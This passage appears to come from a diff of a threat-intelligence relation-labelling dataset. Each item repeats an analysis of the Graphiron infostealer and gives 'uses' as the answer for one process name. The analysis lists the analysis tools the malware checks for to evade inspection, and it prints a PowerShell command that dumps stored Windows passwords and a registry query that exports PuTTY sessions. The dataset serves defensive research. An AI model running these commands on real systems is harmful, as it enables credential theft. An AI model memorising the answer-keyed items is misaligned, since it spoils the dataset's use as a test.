to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: sniff_hit\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: tcpvcon\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: tcpview\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: tshark\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: vmmat\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: windbg\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: x32dbg\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: x64dbg\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: x96dbg\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
